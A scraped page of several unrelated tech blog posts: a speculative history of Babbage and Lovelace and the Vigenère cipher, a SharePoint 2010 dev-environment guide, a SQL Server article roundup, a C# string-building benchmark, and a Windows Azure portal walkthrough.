a week before passing it back. Ada and her husband were certainly involved in gambling large sums of money on the horses, and so most biographers have concluded that the three of them were trying to calculate the mathematical odds on the horses. This theory has three large problems. Firstly, Ada's original letter proposing the project refers to its high-minded nature. Babbage was temperamentally opposed to gambling and would scarcely have given so much time to the project, even though he was devoted to Ada. Secondly, Babbage would have very soon have realized the hopelessness of trying to beat the bookies. This sort of betting never attracts his type of intellectual background. The third problem is that any work on calculating the odds on horses would not need a well-thumbed book to pass back and forth between them; they would have not had to work in series. The original project was instigated by Ada, along with her husband, William King-Noel, 1st Earl of Lovelace. Charles Babbage was invited to join the project after the couple had come up with the idea. What could William have contributed? One might assume that William was a Bertie Wooster character, addicted only to the joys of the turf, but this was far from the truth. He was a scientist, a Cambridge graduate who was later elected to be a Fellow of the Royal Society. After Eton, he went to Trinity College, Cambridge. On graduation, he entered the diplomatic service and acted as secretary under Lord Nugent, who was Lord Commissioner of the Ionian Islands. William was very friendly with Babbage too, able to discuss scientific matters on equal terms. He was a capable engineer who invented a process for bending large timbers by the application of steam heat. He delivered a paper to the Institution of Civil Engineers in 1849, and received praise from the great engineer, Isambard Kingdom Brunel. As well as being Lord Lieutenant of the County of Surrey for most of Victoria's reign, he had time for a string of scientific and engineering achievements. Whatever the project was, it is unlikely that William was a junior partner. After Ada's death, the project disappeared. Then, two years later, Babbage, through one of his occasional outbursts of temper, demonstrated that he was able to decrypt one of the most powerful of secret codes, Vigenère's autokey cipher.  All contemporary diplomatic and military messages used a variant of this cipher. Babbage had made three important discoveries, namely, the mathematical law of this cipher, the principle of the key periodicity, and the technique of the symmetry of position. The technique is now known as the Kasiski examination, also called the Kasiski test, but Babbage got there first. At one time, he listed amongst his future projects, the writing of a book 'The Philosophy of Decyphering', but it never came to anything. This discovery was going to change the course of history, since it was used to decipher the Russians’ military dispatches in the Crimean war. Babbage himself played a role during the Crimean War as a cryptographical adviser to his friend, Rear-Admiral Sir Francis Beaufort of the Admiralty. This is as much as we can be certain about in trying to make sense of the bulk of the time that Charles Babbage and Ada Lovelace worked together. Nine years of intensive work, involving the 'Engine' and a great deal of mathematics and research seems to have been lost: or has it? I've argued in the past http://www.simple-talk.com/community/blogs/philfactor/archive/2008/06/13/59614.aspx that the cracking of the Vigenère autokey cipher, was a fundamental motive behind the British Government's support and funding of the 'Difference Engine'. The Duke of Wellington, whose understanding of the military significance of being able to read enemy dispatches, was the most steadfast advocate of the project. If the three friends were actually doing the work of cracking codes by mathematical techniques that used the techniques of key periodicity, and symmetry of position (the use of a book being passed quickly to and fro is very suggestive), intending to then use the 'Engine' to do the routine cracking of each dispatch, then this is a rather different story. The project was Ada and William's idea. (William had served in the diplomatic service and would be familiar with the use of codes). This makes Ada Lovelace the initiator of a project which, by giving both Britain, and probably the USA, a diplomatic and military advantage in the second part of the Nineteenth century, changed world history. Ada would never have wanted any credit for cracking the cipher, and developing the method that rendered all contemporary military and diplomatic ciphering techniques nugatory; quite the reverse. And it is clear from the gaps in the record of the letters between the collaborators that the evidence was destroyed, probably on her request by her irascible but intensely honorable executor, Charles Babbage. Charles Babbage toyed with the idea of going public, but the Crimean war put an end to that. The British Government had a valuable secret, and intended to keep it that way. Ada and Charles had quite often discussed possible moneymaking projects that would fund the development of the Analytic Engine, the first programmable computer, but their secret work was never in the running as a potential cash cow. I suspect that the British Government was, even then, working on the concealment of a discovery whose value to the nation depended on it remaining so. The success of code-breaking in the Crimean war, and the American Civil war, led to the British and Americans  subsequently giving much more weight and funding to the science of decryption. Paradoxically, this makes Ada's contribution even closer to the creation of Colossus, the first digital computer, at Bletchley Park, specifically to crack the Nazi’s secret codes.

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  • Building the Ultimate SharePoint 2010 Development Environment

    - by Manesh Karunakaran
    It’s been more than a month since SharePoint 2010 RTMed. And a lot of people have downloaded and set up their very own SharePoint 2010 development rigs. And quite a few people have written blogs about setting up good development environments, there is even an MSDN article on it. Two of the blogs worth noting are from MVPs Sahil Malik and Wictor Wilén. Make sure that you check these out as well. Part of the bad side-effects of being a geek is the need to do the technical stuff the best way possible (pragmatic or otherwise), but the problem with this is that what is considered “best” is relative. Precisely the reason why you are reading this post now. Most of the posts that I read are out dated/need updations or are using the wrong OS’es or virtualization solutions (again, opinions vary) or using them the wrong way. Here’s a developer’s view of Building the Ultimate SharePoint 2010 Development Rig. If you are a sales guy, it’s time to close this window. Confusion 1: Which Host Operating System and Virtualization Solution to use? This point has been beaten to death in numerous blog posts in the past, if you have time to invest, read this excellent post by our very own SharePoint Joel on this subject. But if you are planning to build the Ultimate Development Rig, then Windows Server 2008 R2 with Hyper-V is the option that you should be looking at. I have been using this as my primary OS for about 6-7 months now, and I haven’t had any Driver issue or Application compatibility issue. In my experience all the Windows 7 drivers work fine with WIN2008 R2 also. You can enable Aero for eye candy (and the Windows 7 look and feel) and except for a few things like the Hibernation support (which a can be enabled if you really want it), Windows Server 2008 R2, is the best Workstation OS that I have used till date. But frankly the answer to this question of which OS to use depends primarily on one question - Are you willing to change your primary OS? If the answer to that is ‘Yes’, then Windows 2008 R2 with Hyper-V is the best option, if not look at vmWare or VirtualBox, both are equally good. Those who are familiar with a Virtual PC background might prefer Sun VirtualBox. Besides, these provide support for running 64 bit guest machines on 32 bit hosts if the underlying hardware is truly 64 bit. See my earlier post on this. Since we are going to make the ultimate rig, we will use Windows Server 2008 R2 with Hyper-V, for reasons mentioned above. Confusion 2: Should I use a multi-(virtual) server set up? A lot of people use multiple servers for their development environments - like Wictor Wilén is suggesting - one server hosting the Active directory, one hosting SharePoint Server and another one for SQL Server. True, this mimics the production environment the best possible way, but as somebody who has fallen for this set up earlier, I can tell you that you don’t really get anything by doing this. Microsoft has done well to ensure that if you can do it on one machine, you can do it in a farm environment as well. Besides, when you run multiple Server class machine instances in parallel, there are a lot of unwanted processor cycles wasted for no good use. In my personal experience, as somebody who needs to switch between MOSS 2007/SharePoint 2010 environments from time to time, the best possible solution is to Make the host Windows Server 2008 R2 machine your Domain Controller (AD Server) Make all your Virtual Guest OS’es join this domain. Have each Individual Guest OS Image have it’s own local SQL Server instance. The advantages are that you can reuse the users and groups in each of the Guest operating systems, you can manage the users in one place, AD is light weight and doesn't take too much resources on your host machine and also having separate SQL instances for each of the Development images gives you maximum flexibility in terms of configuration, for example your SharePoint rigs can have simpler DB configurations, compared to your MS BI blast pits. Confusion 3: Which Operating System should I use to run SharePoint 2010 Now that’s a no brainer. Use Windows 2008 R2 as your Guest OS. When you are building the ultimate rig, why compromise? If you are planning to run Windows Server 2008 as your Guest OS, there are a few patches that you need to install at different times during the installation, for that follow the steps mentioned here Okay now that we have made our choices, let’s get to the interesting part of building the rig, Step 1: Prepare the host machine – Install Windows Server 2008 R2 Install Windows Server 2008 R2 on your best Desktop/Laptop. If you have read this far, I am quite sure that you are somebody who can install an OS on your own, so go ahead and do that. Make sure that you run the compatibility wizard before you go ahead and nuke your current OS. There are plenty of blogs telling you how to make a good Windows 2008 R2 Workstation that feels and behaves like a Windows 7 machine, follow one and once you are done, head to Step 2. Step 2: Configure the host machine as a Domain Controller Before we begin this, let me tell you, this step is completely optional, you don’t really need to do this, you can simply use the local users on the Guest machines instead, but if this is a much cleaner approach to manage users and groups if you run multiple guest operating systems.  This post neatly explains how to configure your Windows Server 2008 R2 host machine as a Domain Controller. Follow those simple steps and you are good to go. If you are not able to get it to work, try this. Step 3: Prepare the guest machine – Install Windows Server 2008 R2 Open Hyper-V Manager Choose to Create a new Guest Operating system Allocate at least 2 GB of Memory to the Guest OS Choose the Windows 2008 R2 Installation Media Start the Virtual Machine to commence installation. Once the Installation is done, Activate the OS. Step 4: Make the Guest operating systems Join the Domain This step is quite simple, just follow these steps below, Fire up Hyper-V Manager, open your Guest OS Click on Start, and Right click on ‘Computer’ and choose ‘Properties’ On the window that pops-up, click on ‘Change Settings’ On the ‘System Properties’ Window that comes up, Click on the ‘Change’ button Now a window named ‘Computer Name/Domain Changes’ opens up, In the text box titled Domain, type in the Domain name from Step 2. Click Ok and windows will show you the welcome to domain message and ask you to restart the machine, click OK to restart. If the addition to domain fails, that means that you have not set up networking in Hyper-V for the Guest OS to communicate with the Host. To enable it, follow the steps I had mentioned in this post earlier. Step 5: Install SQL Server 2008 R2 on the Guest Machine SQL Server 2008 R2 gets installed with out hassle on Windows Server 2008 R2. SQL Server 2008 needs SP2 to work properly on WIN2008 R2. Also SQL Server 2008 R2 allows you to directly add PowerPivot support to SharePoint. Choose to install in SharePoint Integrated Mode in Reporting Server Configuration. Step 6: Install KB971831 and SharePoint 2010 Pre-requisites Now install the WCF Hotfix for Microsoft Windows (KB971831) from this location, and SharePoint 2010 Pre-requisites from the SP2010 Installation media. Step 7: Install and Configure SharePoint 2010 Install SharePoint 2010 from the installation media, after the installation is complete, you are prompted to start the SharePoint Products and Technologies Configuration Wizard. If you are using a local instance of Microsoft SQL Server 2008, install the Microsoft SQL Server 2008 KB 970315 x64 before starting the wizard. If your development environment uses a remote instance of Microsoft SQL Server 2008 or if it has a pre-existing installation of Microsoft SQL Server 2008 on which KB 970315 x64 has already been applied, this step is not necessary. With the wizard open, do the following: Install SQL Server 2008 KB 970315 x64. After the Microsoft SQL Server 2008 KB 970315 x64 installation is finished, complete the wizard. Alternatively, you can choose not to run the wizard by clearing the SharePoint Products and Technologies Configuration Wizard check box and closing the completed installation dialog box. Install SQL Server 2008 KB 970315 x64, and then manually start the SharePoint Products and Technologies Configuration Wizard by opening a Command Prompt window and executing the following command: C:\Program Files\Common Files\Microsoft Shared Debug\Web Server Extensions\14\BIN\psconfigui.exe The SharePoint Products and Technologies Configuration Wizard may fail if you are using a computer that is joined to a domain but that is not connected to a domain controller. Step 8: Install Visual Studio 2010 and SharePoint 2010 SDK Install Visual Studio 2010 Download and Install the Microsoft SharePoint 2010 SDK Step 9: Install PowerPivot for SharePoint and Configure Reporting Services Pop-In the SQLServer 2008 R2 installation media once again and install PowerPivot for SharePoint. This will get added as another instance named POWERPIVOT. Configure Reporting Services by following the steps mentioned here, if you need to get down to the details on how the integration between SharePoint 2010 and SQL Server 2008 R2 works, see Working Together: SQL Server 2008 R2 Reporting Services Integration in SharePoint 2010 an excellent article by Alan Le Marquand Step 10: Download and Install Sample Databases for Microsoft SQL Server 2008R2 SharePoint 2010 comes with a lot of cool stuff like PerformancePoint Services and BCS, if you need to try these out, you need to have data in your databases. So if you want to save yourself the trouble of creating sample data for your PerformancePoint and BCS experiments, download and install Sample Databases for Microsoft SQL Server 2008R2 from CodePlex. And you are done! Fire up your Visual Studio 2010 and Start Coding away!!

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  • SQL SERVER – Weekly Series – Memory Lane – #033

    - by Pinal Dave
    Here is the list of selected articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2007 Spatial Database Definition and Research Documents Here is the definition from Wikipedia about spatial database : A spatial database is a database that is optimized to store and query data related to objects in space, including points, lines and polygons. While typical databases can understand various numeric and character types of data, additional functionality needs to be added for databases to process spatial data types. Select Only Date Part From DateTime – Best Practice A very common question which I receive is how to only get Date or Time part from datetime value. In this blog post I explain the same in very simple words. T-SQL Paging Query Technique Comparison (OVER and ROW_NUMBER()) – CTE vs. Derived Table I have received few emails and comments about my post SQL SERVER – T-SQL Paging Query Technique Comparison – SQL 2000 vs SQL 2005. The main question was is this can be done using CTE? Absolutely! What about Performance? It is identical! Please refer above mentioned article for the history of paging. SQL SERVER – Cannot resolve collation conflict for equal to operation One of the very first error I ever encountered in my career was to resolve this conflict. I have blogged about it and I have realized that many others like me who are facing this error. LEN and DATALENGTH of NULL Simple Example Here is the question for you what is the LEN of NULL value? Well it is very easy – just read the blog. Recovery Models and Selection Very simple and easy explanation of the Database Backup Recovery Model and how to select the best option for you. Explanation SQL SERVER Hash Join Hash join gives best performance when two more join tables are joined and at-least one of them have no index or is not sorted. It is also expected that smaller of the either of table can be read in memory completely (though not necessary). Easy Sequence of SELECT FROM JOIN WHERE GROUP BY HAVING ORDER BY SELECT yourcolumns FROM tablenames JOIN tablenames WHERE condition GROUP BY yourcolumns HAVING aggregatecolumn condition ORDER BY yourcolumns NorthWind Database or AdventureWorks Database – Samples Databases In this blog post we learn how to install Northwind database. I also shared the source where one can download this database as that is used in many examples on MSDN help files. sp_HelpText for sp_HelpText – Puzzle A simple quick puzzle – do you know the answer of it? If not, go ahead and read the blog. 2008 SQL SERVER – 2008 – Step By Step Installation Guide With Images When SQL Server 2008 was newly introduced lots of people had no clue how to install SQL Server 2008 and the amount of the question which I used to receive were so much. I wrote this blog post with the spirit that this will help all the newbies to install SQL Server 2008 with the help of images. Still today this blog post has been bible for all of the people who are confused with SQL Server installation. Inline Variable Assignment I loved this feature. I have always wanted this feature to be present in SQL Server. The last time when I met developers from Microsoft SQL Server, I had talked about this feature. I think this feature saves some time but make the code more readable. Introduction to Policy Management – Enforcing Rules on SQL Server If our company policy is to create all the Stored Procedure with prefix ‘usp’ that developers should be just prevented to create Stored Procedure with any other prefix. Let us see a small tutorial how to create conditions and policy which will prevent any future SP to be created with any other prefix. 2009 Performance Counters from System Views – By Kevin Mckenna Many of you are not aware of this fact that access to performance information is readily available in SQL Server and that too without querying performance counters using a custom application or via perfmon. Till now, this fact has remained undisclosed but through this post I would like to explain you can easily access SQL Server performance counter information. Without putting much effort you will come across the system viewsys.dm_os_performance_counters. As the name suggests, this provides you easy access to the SQL Server performance counter information that is passed on to perfmon, but you can get at it via tsql. Customize Toolbar – Remove Debug Button from Toolbar I was fond of SQL Server Debugger feature in SQL Server 2000. To my utter disappointment, this feature was withdrawn from SQL Server 2005. The button of the debugger is similar to a play button and is used to run debugging commands of Visual Studio. Because of this reason, it gets very much infuriating for developers when they are developing on both – Visual Studio and SSMS. Let us now see how we can remove debugging button from SQL Server Management Studio. Effect of Normalization on Index and Performance A very interesting conversation which started from twitter. If you want to read one link this is the link I encourage you to read it. SSMS Feature – Multi-server Queries Using SQL Server Management Studio (SSMS) DBAs can now query multiple servers from one window. It is quite common for DBAs with large amount of servers to maintain and gather information from multiple SQL Servers and create report. This feature is a blessing for the DBAs, as they can now assemble all the information instantaneously without going anywhere. Query Optimizer Hint ROBUST PLAN – Question to You “ROBUST PLAN” is a kind of query hint which works quite differently than other hints. It does not improve join or force any indexes to use; it just makes sure that a query does not crash due to over the limit size of row. Let me elaborate upon it in the blog post. 2010 Do you really know the difference between various date functions available in SQL Server 2012? Here is a three part story where we explored the same with examples: Fastest Way to Restore the Database Difference Between DATETIME and DATETIME2 Difference Between DATETIME and DATETIME2 – WITH GETDATE Shrinking NDF and MDF Files – Readers’ Opinion Shrinking Database always creates performance degradation and increases fragmentation in the database. I suggest that you keep that in mind before you start reading the following comment. If you are going to say Shrinking Database is bad and evil, here I am saying it first and loud. Now, the comment of Imran is written while keeping in mind only the process showing how the Shrinking Database Operation works. Imran has already explained his understanding and requests further explanation. I have removed the Best Practices section from Imran’s comments, as there are a few corrections. 2011 Solution – Puzzle – SELECT * vs SELECT COUNT(*) This is very interesting question and I am very confident that not every one knows the answer to this question. Let me ask you again – Which will be faster SELECT* or SELECT COUNT (*) or do you think this is apples and oranges comparison. 2012 Service Broker and CAP_CPU_PERCENT – Limiting SQL Server Instances to CPU Usage In SQL Server 2012 there are a few enhancements with regards to SQL Server Resource Governor. One of the enhancement is how the resources are allocated. Let me explain you with examples. Let us understand the entire discussion with the help of three different examples. Finding Size of a Columnstore Index Using DMVs One of the very common question I often see is need of the list of columnstore index along with their size and corresponding table name. I quickly re-wrote a script using DMVs sys.indexes and sys.dm_db_partition_stats. This script gives the size of the columnstore index on disk only. I am sure there will be advanced script to retrieve details related to components associated with the columnstore index. However, I believe following script is sufficient to start getting an idea of columnstore index size. Developer Training Resources and Summary Roundup Developer Training - Importance and Significance - Part 1 In this part we discussed the importance of training in the real world. The most important and valuable resource any company is its employee. Employees who have been well-trained will be better at their jobs and produce a better product.  An employee who is well trained obviously knows more about their job and all the technical aspects. I have a very high opinion about training employees and it is the most important task. Developer Training – Employee Morals and Ethics – Part 2 In this part we discussed the most crucial components of training. Often employees are expecting the company to pay for their training and the company expresses no interest in training the employee. Quite often training expenses are the real issue for both the employee and employer. Developer Training – Difficult Questions and Alternative Perspective - Part 3 This part was the most difficult to write as I tried to address a few difficult questions and answers. Training is such a sensitive issue that many developers when not receiving chance for training think about leaving the organization. Developer Training – Various Options for Developer Training – Part 4 In this part I tried to explore a few methods and options for training. The generic feedback I received on this blog post was short and I should have explored each of the subject of the training in details. I believe there are two big buckets of training 1) Instructor Lead Training and 2) Self Lead Training. Developer Training – A Conclusive Summary- Part 5 There is no better motivation than a personal desire to learn new technology. Honestly there is nothing more personal learning. That “change is the only constant” and “adapt & overcome” are the essential lessons of life. One cannot stop the learning and resist the change. In the IT industry “ego of knowing all” and the “resistance to change” are the most challenging issues. A Quick Look at Logging and Ideas around Logging Question: What is the first thing comes to your mind when you hear the word “Logging”? Strange enough I got a different answer every single time. Let me just list what answer I got from my friends. Let us go over them one by one. Beginning Performance Tuning with SQL Server Execution Plan Solution of Puzzle – Swap Value of Column Without Case Statement Earlier this week I asked a question where I asked how to Swap Values of the column without using CASE Statement. Read here: SQL SERVER – A Puzzle – Swap Value of Column Without Case Statement. I have proposed 3 different solutions in the blog posts itself. I had requested the help of the community to come up with alternate solutions and honestly I am stunned and amazed by the qualified entries. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Memory Lane, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • C#: String Concatenation vs Format vs StringBuilder

    - by James Michael Hare
    I was looking through my groups’ C# coding standards the other day and there were a couple of legacy items in there that caught my eye.  They had been passed down from committee to committee so many times that no one even thought to second guess and try them for a long time.  It’s yet another example of how micro-optimizations can often get the best of us and cause us to write code that is not as maintainable as it could be for the sake of squeezing an extra ounce of performance out of our software. So the two standards in question were these, in paraphrase: Prefer StringBuilder or string.Format() to string concatenation. Prefer string.Equals() with case-insensitive option to string.ToUpper().Equals(). Now some of you may already know what my results are going to show, as these items have been compared before on many blogs, but I think it’s always worth repeating and trying these yourself.  So let’s dig in. The first test was a pretty standard one.  When concattenating strings, what is the best choice: StringBuilder, string concattenation, or string.Format()? So before we being I read in a number of iterations from the console and a length of each string to generate.  Then I generate that many random strings of the given length and an array to hold the results.  Why am I so keen to keep the results?  Because I want to be able to snapshot the memory and don’t want garbage collection to collect the strings, hence the array to keep hold of them.  I also didn’t want the random strings to be part of the allocation, so I pre-allocate them and the array up front before the snapshot.  So in the code snippets below: num – Number of iterations. strings – Array of randomly generated strings. results – Array to hold the results of the concatenation tests. timer – A System.Diagnostics.Stopwatch() instance to time code execution. start – Beginning memory size. stop – Ending memory size. after – Memory size after final GC. So first, let’s look at the concatenation loop: 1: // build num strings using concattenation. 2: for (int i = 0; i < num; i++) 3: { 4: results[i] = "This is test #" + i + " with a result of " + strings[i]; 5: } Pretty standard, right?  Next for string.Format(): 1: // build strings using string.Format() 2: for (int i = 0; i < num; i++) 3: { 4: results[i] = string.Format("This is test #{0} with a result of {1}", i, strings[i]); 5: }   Finally, StringBuilder: 1: // build strings using StringBuilder 2: for (int i = 0; i < num; i++) 3: { 4: var builder = new StringBuilder(); 5: builder.Append("This is test #"); 6: builder.Append(i); 7: builder.Append(" with a result of "); 8: builder.Append(strings[i]); 9: results[i] = builder.ToString(); 10: } So I take each of these loops, and time them by using a block like this: 1: // get the total amount of memory used, true tells it to run GC first. 2: start = System.GC.GetTotalMemory(true); 3:  4: // restart the timer 5: timer.Reset(); 6: timer.Start(); 7:  8: // *** code to time and measure goes here. *** 9:  10: // get the current amount of memory, stop the timer, then get memory after GC. 11: stop = System.GC.GetTotalMemory(false); 12: timer.Stop(); 13: other = System.GC.GetTotalMemory(true); So let’s look at what happens when I run each of these blocks through the timer and memory check at 500,000 iterations: 1: Operator + - Time: 547, Memory: 56104540/55595960 - 500000 2: string.Format() - Time: 749, Memory: 57295812/55595960 - 500000 3: StringBuilder - Time: 608, Memory: 55312888/55595960 – 500000   Egad!  string.Format brings up the rear and + triumphs, well, at least in terms of speed.  The concat burns more memory than StringBuilder but less than string.Format().  This shows two main things: StringBuilder is not always the panacea many think it is. The difference between any of the three is miniscule! The second point is extremely important!  You will often here people who will grasp at results and say, “look, operator + is 10% faster than StringBuilder so always use StringBuilder.”  Statements like this are a disservice and often misleading.  For example, if I had a good guess at what the size of the string would be, I could have preallocated my StringBuffer like so:   1: for (int i = 0; i < num; i++) 2: { 3: // pre-declare StringBuilder to have 100 char buffer. 4: var builder = new StringBuilder(100); 5: builder.Append("This is test #"); 6: builder.Append(i); 7: builder.Append(" with a result of "); 8: builder.Append(strings[i]); 9: results[i] = builder.ToString(); 10: }   Now let’s look at the times: 1: Operator + - Time: 551, Memory: 56104412/55595960 - 500000 2: string.Format() - Time: 753, Memory: 57296484/55595960 - 500000 3: StringBuilder - Time: 525, Memory: 59779156/55595960 - 500000   Whoa!  All of the sudden StringBuilder is back on top again!  But notice, it takes more memory now.  This makes perfect sense if you examine the IL behind the scenes.  Whenever you do a string concat (+) in your code, it examines the lengths of the arguments and creates a StringBuilder behind the scenes of the appropriate size for you. But even IF we know the approximate size of our StringBuilder, look how much less readable it is!  That’s why I feel you should always take into account both readability and performance.  After all, consider all these timings are over 500,000 iterations.   That’s at best  0.0004 ms difference per call which is neglidgable at best.  The key is to pick the best tool for the job.  What do I mean?  Consider these awesome words of wisdom: Concatenate (+) is best at concatenating.  StringBuilder is best when you need to building. Format is best at formatting. Totally Earth-shattering, right!  But if you consider it carefully, it actually has a lot of beauty in it’s simplicity.  Remember, there is no magic bullet.  If one of these always beat the others we’d only have one and not three choices. The fact is, the concattenation operator (+) has been optimized for speed and looks the cleanest for joining together a known set of strings in the simplest manner possible. StringBuilder, on the other hand, excels when you need to build a string of inderterminant length.  Use it in those times when you are looping till you hit a stop condition and building a result and it won’t steer you wrong. String.Format seems to be the looser from the stats, but consider which of these is more readable.  Yes, ignore the fact that you could do this with ToString() on a DateTime.  1: // build a date via concatenation 2: var date1 = (month < 10 ? string.Empty : "0") + month + '/' 3: + (day < 10 ? string.Empty : "0") + '/' + year; 4:  5: // build a date via string builder 6: var builder = new StringBuilder(10); 7: if (month < 10) builder.Append('0'); 8: builder.Append(month); 9: builder.Append('/'); 10: if (day < 10) builder.Append('0'); 11: builder.Append(day); 12: builder.Append('/'); 13: builder.Append(year); 14: var date2 = builder.ToString(); 15:  16: // build a date via string.Format 17: var date3 = string.Format("{0:00}/{1:00}/{2:0000}", month, day, year); 18:  So the strength in string.Format is that it makes constructing a formatted string easy to read.  Yes, it’s slower, but look at how much more elegant it is to do zero-padding and anything else string.Format does. So my lesson is, don’t look for the silver bullet!  Choose the best tool.  Micro-optimization almost always bites you in the end because you’re sacrificing readability for performance, which is almost exactly the wrong choice 90% of the time. I love the rules of optimization.  They’ve been stated before in many forms, but here’s how I always remember them: For Beginners: Do not optimize. For Experts: Do not optimize yet. It’s so true.  Most of the time on today’s modern hardware, a micro-second optimization at the sake of readability will net you nothing because it won’t be your bottleneck.  Code for readability, choose the best tool for the job which will usually be the most readable and maintainable as well.  Then, and only then, if you need that extra performance boost after profiling your code and exhausting all other options… then you can start to think about optimizing.

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  • Windows Azure Evolution &ndash; Preview Developer Portal

    - by Shaun
    With the MEET Windows Azure event on 7th June, there are many new features and updates in windows azure platform. In the coming several posts I will try to cover some of them. And in the first post here I would like to just have a quick walkthrough of the new preview developer portal.   History of the Developer Portal If you have been working with windows azure since 2009 or 2010, you should remember the first version of the developer portal. It was built in HTML with very limited features. I have the impression when I was using is old one. The layout is not that attractive and you have very limited features. On November, 2010 alone with the SDK 1.3 release, the developer portal was getting a big jump. In order to give more usability and features this it turned to be built on Silverlight. Hence it runs like a desktop application with many windows, lists, commands and context menus. From 2010 till now many features were involved into this portal, such as the remote desktop, co-admin, virtual connect, VM role, etc.. And the portal itself became more and more complicated. But it brought some problems by using the Silverlight. The first one is the browser capability. As you know in most mobile and tablet device the browser doesn’t allow the rich content plugin, such as Flash and Silverlight. This means people cannot open and configure their azure services from their iPad, iPhone and Windows Phone, etc., even though what they need may just be restart a hosted service, or view the status of their databases. Another problem is the performance. Silverlight provides rich experience to the users, but also needs more bandwidth. So in this upgrade the preview developer portal will be back to use HTML, with JavaScript, as a mobile friendly, cross browser, interactively web site.   Preview Portal vs. Silverlight Portal Before I started to talk about the new preview portal I’d better highlight that, this preview portal is a PREVIEW version, which means even though you can do almost all features that already in the old one, as long as some cool new features I will mention in the coming several posts, there are something still under developed and migrated. So sometimes you need to switch back to the old one. For example, in preview portal there is no co-admin manage function, no remote desktop function and the SQL database manage function will take you back to the old SQL Azure Manage Portal. But as Microsoft said these missing features will be moved in the preview portal in the couple of next few months. Since the public URL of the developer portal, https://windows.azure.com/, had been changed to point to this preview one, you need to click to preview button on top of the page and click the “Take me to the previous portal” link.   Overview There are four parts in the preview portal. On the top is the header which shows the account you are currently logging in. If you click on the header it will show the top menu of windows azure, where you can navigate to the windows azure home page, the price information page, community and account, etc.. The navigation bar is on the left hand side, with the categories listed below. ALL ITEMS All items in your windows azure account, includes the web sites, services, databases, etc.. WEB SITES The web sites in your windows azure account. It will only show the web sites you have. The linked resources will be shown if you drill down into a web site. VIRTUAL MACHINES The virtual machines that you had been deployed to azure. CLOUD SERVICES All windows azure hosted services in your account. SQL DATABASES All SQL databases (SQL Azure) in your account. STORAGE All windows azure storage services in your account. NETWORKS The virtual network (Windows Azure Connect) you had been created. The available items will be listed in the main part of the page based on which category your currently selected. If there’s no item it will show the link to you to quick create. At the bottom of the page there will be the command and information bar. Based on what is selected and what is performed by the user, it will show the related information and commands. For example, in the image below when I was creating a new web site, the information bar told me that my web site is being provisioned; and there are two commands in the command bar. And once it ready the command bar will show some commands that I can do to my new web site. The “Web Sites” is a new feature introduced alone with this upgrade. It gives us an easier and quicker way to establish a website from the scratch or from some existing library. I will introduce it more details in the coming next post. Also in the command bar you can create a service by clicking the NEW button. It will slide the creation panel up to you.   Where’s My Hosted Services The Windows Azure Hosted Services had been renamed to the Cloud Services. Create a new service would be very easy. Just click the NEW button at the bottom of the page, and select the CLOUD SERVICE and QIUICK CREATE. This will create a blank hosted service without deployment and certificate. It just needs you to specify the service URL and the affinity/region. Then the service will be shown in the list. If you clicked the item all information will be shown in the main part. Since there’s no package deployed to this service so currently we cannot see any information about it. But we can upload the package by using the command at the bottom. And as you can see, we could manage the configuration, instances, certificates and we can scale up and down (change the VM size), in and out (increase and decrease the instance count) to our service. Assuming I had created an ASP.NET MVC 3 web role project in Visual Studio and completed the package. Then I can click the UPLOAD button in this page to deploy my package. In the popping up window I just specify my deployment name, package file and configure file. Also I can check the box below so that it will NOT warn me if only one instance of this deployment. Once we clicked the OK button our package will be uploaded and provisioned by the platform. After a while we can see the service was ready from the information bar. We can have the basic information about this service and deployment if we to the dashboard page. For example the usage overview diagram, status, URL, public IP address, etc.. In the configure page we can view and change the CSCFG content such as the monitor setting, connection strings, OS family. In scale page we can increase and decrease the count of the instances. And in the instances page we can view all instances status. And, if your services is using some SQL databases and storages they will be shown as the linked resources under the linked resources page. And you can manage the certificates of this service as well under the certificates page.   How About My Storage Services The storage service can be managed by clicking into the STORAGES link in the navigation bar. And we can create a new storage service from the NEW button. After specify the storage name and region it will be previsioned by the platform. If you want to copy or manage the storage key you can just click the Manage Keys button at the bottom, which is very easy. What I want to highlight here is that, you can monitor your storage service by enabling the monitor configuration. Click the storage item in the list and navigate to the configure page. As you can see in the page you can enable the monitoring for blob, table and queue. And you can also enable the logging when any requests come to the storage. But as the tooltip shown in the page, enabling the monitoring and logging will increase the usage of the storage, which means increase the bill of them. So make sure you enable them properly.   And My SQL Databases (SQL Azure) The last thing I want to quick introduce is the SQL databases, which was formally named SQL Azure. You can create a new SQL Database Server and a new database by clicking the ADD button under the SQL Database navigation item. In the popping up windows just specify the database name, the edition, size, collation and the server. You can select an existing SQL Database Server if you have, or cerate a new one. If you selected to create a new server, there will be another step you need to do, which is specify the server login, password and the region. Once it ready you can mange your databases as well as the servers in the portal. In a particular server you can update the firewall settings in its Configure page. So, What Else There are some other area on the preview portal I didn’t cover, such as the virtual machines, virtual network and web sites. Regarding the virtual machines and web sites I will talk about them in the future separated post. Regarding the virtual network, it the Windows Azure Connect we are familiar with. But as I mention in the beginning of this post, the preview portal is still under developed. Some features are not available here. For example, you cannot manage the co-admin of your subscriptions, you cannot open the remote desktop on your hosted services, and you cannot navigate to the Windows Azure Service Bus, Access Control and Caching, which formally named Windows Azure AppFabric directly. In these cases you need to navigate back to the old portal. So in the coming several months we might need to use both these two sites.   Summary In this post I quick introduced the new windows azure developer portal. Since it had been rearranged and renamed I demonstrated some features that existing in the old portal, such as how to create and deploy a hosted service, how to provision a storage service and SQL database. All features in the old portal had been, is being and will be migrated into this new portal, but some of them were in a different category and page we need to figure out.   Hope this helps, Shaun All documents and related graphics, codes are provided "AS IS" without warranty of any kind. Copyright © Shaun Ziyan Xu. This work is licensed under the Creative Commons License.

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  • SQL SERVER – Weekly Series – Memory Lane – #003

    - by pinaldave
